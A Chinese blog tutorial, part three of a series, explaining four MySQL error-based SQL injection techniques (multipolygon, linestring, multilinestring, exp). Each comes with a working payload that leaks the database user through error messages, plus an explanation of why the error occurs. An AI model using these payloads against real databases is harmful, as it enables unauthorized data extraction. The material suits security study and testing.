zoukankan      html  css  js  c++  java
  • 十种MYSQL显错注入原理讲解(三)

    这回间隔时间有点长了,年前年后忙的头晕眼花,外加大病。下面我继续讲解。

    1、multipolygon()

    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

    函数讲解:

      multipolygon()是一种由Polygon元素构成的几何对象集合。

    原理解释:

      multipolygon()需要的是Polygon元素。为了显错传入字符串,所以报错。

     2、linestring()

    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

    函数讲解:

      LineString()是具有点之间线性内插特性的Curve.

    原理解释:

      LineString(1 1,2 2) 这是它的用法。为了显错传入了,字符串....

    3、multilinestring()

    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

    函数讲解:

      multilinestring()是一种由LineStirng元素构成的MultiCurve几何对象集合。

    原理解释:

      MULTILINESTRING((10 10, 20 20), (15 15, 30 15))这样用的。为了显错又把字符串传进去了。

    4、exp()

    select * from test where id=1 and exp(~(select * from(select user())a));

    函数解释:

      EXP(x)函数计算e的x次方,即ex

    原理解释:

      EXP()肯定是需要数字的,传入个字符串必然显错。

    到这里这十种就完结了,其实还有很多方法可以显错,不限于这十种。共同特点在于,传入非正常参数导致报错和查询嵌套。

  • 相关阅读:
    Vue生命周期
    事件
    改变this指向
    全屏要素
    微信小程序
    编程心得
    设计模式-单例与实例化
    第五节课 课堂总结
    作业四 分支结构
    课堂总结
  • 原文地址:https://www.cnblogs.com/MiWhite/p/6384711.html
Copyright © 2011-2022 走看看